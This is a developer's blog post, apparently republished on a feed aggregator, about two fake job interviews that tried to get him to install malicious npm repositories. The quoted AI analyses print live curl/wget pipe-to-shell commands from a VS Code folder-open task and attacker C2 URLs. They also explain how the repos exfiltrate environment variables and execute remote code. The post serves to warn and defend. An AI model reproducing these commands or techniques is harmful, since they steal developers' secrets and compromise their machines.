惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The GitHub Blog
The GitHub Blog
C
CERT Recently Published Vulnerability Notes
人人都是产品经理
人人都是产品经理
V
Visual Studio Blog
大猫的无限游戏
大猫的无限游戏
月光博客
月光博客
L
LangChain Blog
J
Java Code Geeks
B
Blog
博客园_首页
Engineering at Meta
Engineering at Meta
宝玉的分享
宝玉的分享
D
Docker
L
LINUX DO - 最新话题
Vercel News
Vercel News
aimingoo的专栏
aimingoo的专栏
Microsoft Security Blog
Microsoft Security Blog
Scott Helme
Scott Helme
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
T
The Blog of Author Tim Ferriss
U
Unit 42
T
Tenable Blog
F
Fortinet All Blogs
K
Kaspersky official blog
博客园 - 【当耐特】
T
Tailwind CSS Blog
Y
Y Combinator Blog
C
Check Point Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
The Hacker News
The Hacker News
美团技术团队
S
Schneier on Security
P
Proofpoint News Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
P
Proofpoint News Feed
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Microsoft Azure Blog
Microsoft Azure Blog
MongoDB | Blog
MongoDB | Blog
Cisco Talos Blog
Cisco Talos Blog
Google DeepMind News
Google DeepMind News
B
Blog RSS Feed
NISL@THU
NISL@THU
T
The Exploit Database - CXSecurity.com
L
Lohrmann on Cybersecurity
Martin Fowler
Martin Fowler
Blog — PlanetScale
Blog — PlanetScale
酷 壳 – CoolShell
酷 壳 – CoolShell
The Cloudflare Blog
I
Intezer
有赞技术团队
有赞技术团队

ashishb.net

A day in Luxembourg - the richest country in the world Book summary: Breakneck - China's quest to engineer the future by Dan Wang Book summary: How to Teach Your Baby to Read Book Summary: The Discontented Little Baby Book by Pamela Douglas Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine Why software outsourcing gets a bad reputation? Book summary: The Natural Baby Sleep Solution by Polly Moore A day in Antwerp, Belgium Journey of online influencers Two days in Brussels, Belgium Shortcuts - when we love them and when we don't A visit to Rakhigarhi Three days in overhyped Paris Empty Japan, crowded Tokyo The real lock-in in GitHub is not the code, but the stars 11-day Norwegian Breakaway East Caribbean cruise Sanskrit and Sri Lankan Air Force Use REST with Open API The Achilles heel of American capitalism Costa Rica in 4 days At a juice stall in Sri Lanka A short stay at Warsaw, Poland Best practices for using Python & uv inside Docker Two days in Vilnius, Lithuania How IntelliJ IDEs waste disk space Pregnancy Why there aren't many digital nomads from India Two days in Riga, Latvia To keep your machine secure, run third-party tools inside Docker Family Ties in Your DNA: Some relatives are closer than others Doctors per capita Two days in Tallinn, Estonia Ship tools as standalone static binaries Made in America Two days in Helsinki, Finland Maintaining an Android app is a lot of work The land of good deals Two days in Oslo, Norway FastAPI vs Flask performance comparison Google Search is losing to Perplexity Two days in Dublin, Ireland Continuous integration ≠ Continuous delivery World's simplest project success heuristic London in 5 days It is hard to recommend Python in production Inflation, IRS, Credit cards, and Vendors Temu and the Chinese approach Things to do in Miami Florida Revenue vs Cost Axis Language learning as an adult The unanchored babies of the green card limbo Price variance in the United States A day in Louisville, Kentucky A surprisingly positive experience with Air India Unhospitable Airports Android: Don't use stale views USA = Union of Sales and Advertisement A day in Nashville, Tennessee Minimize Javascript in your codebase A day in Birmingham, Alabama In defense of ad-supported products Real vs artificial world The science behind Punjabi singers Hiking Mt. Fuji The Indian startup bubble is insane Repairing database on the fly for millions of users Book Summary: One up on Wall Street by Peter Lynch It is hard to recommend Google Cloud At the Prague airport Kyoto in three days Migrating from WordPress to Hugo Book summary: Sick Societies by Robert B. Edgerton Statistical outcomes require statistical games Illegal immigrants to Europe via Cairo Tokyo in three days Mobs are Status Games Writing Script matters as much as the spoken language Sri Lanka in 5 days LLMs: great for business but bad business Book Summary: Safe Haven by Mark Spitznagel Mac shortcut for typing Avagraha symbol On a bus with an asylum seeker Nicaragua in 5 days When to commit Generated code to version control Why I always buy a local SIM in a foreign country Use Makefile for Android Four days in Guadalajara, Mexico Android Navigation: Up vs Back Hotels vs Airbnb vs Hostels Currency issues in Argentina Abstractions should be deep not wide Some data on podcasting Always support compressed response in an API service A day in El Calafate - Patagonia, Argentina Hermetic docker images with Hugging Face machine learning models American Elections The sound of "ch" API services should always have usage Limits Hiking in El Chaltén - trekking capital of Argentina Natural Laws vs Man-made Laws
I was asked to install malware during a fake interview
Ashish Bhatia · 2026-05-16 · via ashishb.net

Featured on Hacker News

Once or twice a month, I get a reach out to join as a technical advisor.
I got two in the last month, except both were fake and meant to install malware on my machine!

Both had a similar script. Someone reached out over LinkedIn to join their team as a technical advisor. Then they share a link to their code respository - without even asking me to sign an NDA or adding me to their org!
Then I was asked to try out the code where doing npm install alone would have triggered the malware. Here are the stories in detail.

First interview: reach out for a technical advisor

I got a reach out on LinkedIn by a European Software Engineer Johan Bulenes, to become a technical advisor for their web3 project. We spoke, and then he scheduled a meeting with the hiring manager, Steve Bullard.

The meeting was going fine for the first 5 minutes.
He showed some Figma mocks. Then he sent me a link to a repo https://github.com/LimitBreak-Hub/Bet-Pokler and asked me to clone it. I forked it in the GitHub UI, and he insisted that I should clone it on my laptop and share the screen. Further, he asked if I use VSCode, and that’s when it felt strange.

Then he asked me to do npm install and that’s where the siren went off. I said I won’t do it right away, and we have to reschedule the call.

Unsurprisingly, the repo was malicious. And it contains package download and installation if I ever open the project in VSCode. Here’s the Claude code analysis of the same.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Verdict: This repository contains malicious code. Do NOT run npm install, npm start, or open this folder in VS Code.

  Four active attack vectors:

  1. VS Code auto-run on folder open — .vscode/tasks.json:47-69
  Task "env" with "runOn": "folderOpen", hidden behind whitespace padding and silent presentation, executes:
  - macOS: curl -L https://vscode-settings-0506.vercel.app/api/settings/mac | bash
  - Linux: wget -qO- .../linux | sh
  - Windows: curl … /windows | cmd

  Git history shows ~10 burner Vercel hosts rotated under the cover of "Update tasks.json" commits by GitWorkSpace2 <arfinapia832+3@gmail.com>.

  2. Server-side env exfiltration + remote-controlled RCE — server/routes/api/auth.js:18-36 and server/controllers/auth.js:67-72
  On every server start, validateApiKey():
  - atob(process.env.AUTH_API) → decodes to https://ip-core-api-one.vercel.app/api
  - POSTs the entire process.env (AWS, Stripe, JWT_SECRET, Mongo URI, etc.) to that URL
  - Pipes the HTTP response into new Function("require", response.data) and invokes it with full Node require — arbitrary remote code execution on your server.

  3. prepare npm lifecycle trigger — package.json:60
  "prepare": "node server/server.js" — npm install alone runs the server, triggering vector #2. You don't even need to start the app.

  4. Auth bypass backdoor — server/controllers/auth.js:39-44
  const isMatch = true; — password check is hard-wired; any known email logs in and gets a JWT.

  If you already opened the folder in VS Code or ran npm install on a host with real secrets:
  1. Rotate every secret that was in the shell/process environment.
  2. Check for persistence: cron, launchd, ~/.ssh/authorized_keys, shell rc files, ~/.config/*.
  3. Inspect shell history and recent processes; review what was pulled from the Vercel C2 hosts.
  4. Treat the entire repo as untrusted — reset to a known-good upstream rather than patching.

  The placeholder-looking secrets in .env (AKIAEXAMPLE12345, sk_test_*) are decoys — the malware exfiltrates the real runtime process.env, not the file.

  Want me to write up a cleaned diff that removes all four vectors, or just stop here?

Second interview: LinkedIn DMs to evaluate a project before becoming a technical advisor

Texas-based Russell Moronko reached out over LinkedIn to join his team as a technical advisor. He sent me a link to Google Doc. This sends me to another half-baked npm-based repo https://bitbucket.org/workspace860903/real_estate_platform_mvp_v1/src/main/. He insists that I try it out beforehand before coming for the meeting.

Is it malicious? yeah.

Here’s Claude’s analysis again

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Verified independently. Yes — this repo contains a backdoor.

  Verdict: Malicious

  The payload: server/middlewares/validator/errorHandler.js
  - Lines 26-37: errorHandler takes a string and runs it with new (Function.constructor)('require', errCode) then calls it with require — arbitrary RCE with full Node access (filesystem, network, child_process).
  - Lines 49-63: errorTimeHandler base64-decodes a URL + secret header from env, fetches it, and on any error feeds the response body to errorHandler — so whatever the C2 returns gets executed.

  The trigger: server/middlewares/validator/index.js:105 — calls errorTimeHandler(); at module top-level, so it fires the moment the validator middleware is require()d (which productRoute.js → app.js does on server start).

  The C2: server/config/config.env.example lines 61-63 — base64 decodes to:
  - URL: https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1
  - Header: x-secret-header: secret

  The "example" filename is camouflage — errorHandler.js:3 explicitly loads config.env.example via dotenv.config(...), so the values are live even without a real .env.

  Other signals
  - The repo claims to be a real-estate MVP but the server code is an unrelated "RoyalCity" e-commerce scaffold — cover content.
  - dbErrorHandler.js is single-line minified (suspicious in an otherwise readable codebase, though its content is benign).
  - Frontend (React/Vite, public/service-worker.js, etc.) is clean.

  Recommendation

  Do not run npm install or start the server. If you already did:
  1. Stop any running node process from this repo.
  2. Check outbound connections to server-victory5.vercel.app and any unexpected child processes.
  3. Rotate any credentials that were present in the environment when it ran.
  4. Treat node_modules as untrusted and delete it — the loader could have pulled and persisted anything.

  Want me to write up the specific lines to remove, or leave the repo as-is for forensic purposes?

Note that, before publishing the blog post, I reached out to both individuals over the LinkedIn DMs to see if there was an explanation to this. Unsurprisingly, both of them promptly blocked me.

I have read about North Korea based scammers who using the same social engineering to steal USD 285M from Drift DeFi protocol.

I never thought that two scammers would try to me with a similar scam the very next month.

Here’s how to spot such scams

If you get a similar reach out, here’s an easy way to spot such scams

  1. No one puts out their code repository publicly unless it is meant to be open-source.
  2. If it is open-source, you will see a meaningful activity - stars, forks, contributors.
  3. No one shares their private code repository without an NDA. Now, as signing an NDA is slow, the scam becomes slow, involved, and difficult to execute.
  4. Never do npm install on your personal machine till the second conversation
  5. If you have to do npm install rent a VM on the cloud
  6. If you really want to run such code inside a sandbox - both attacks would have failed in my case because I always run npm inside sandbox, but still, it is better to catch the social engineering tactics first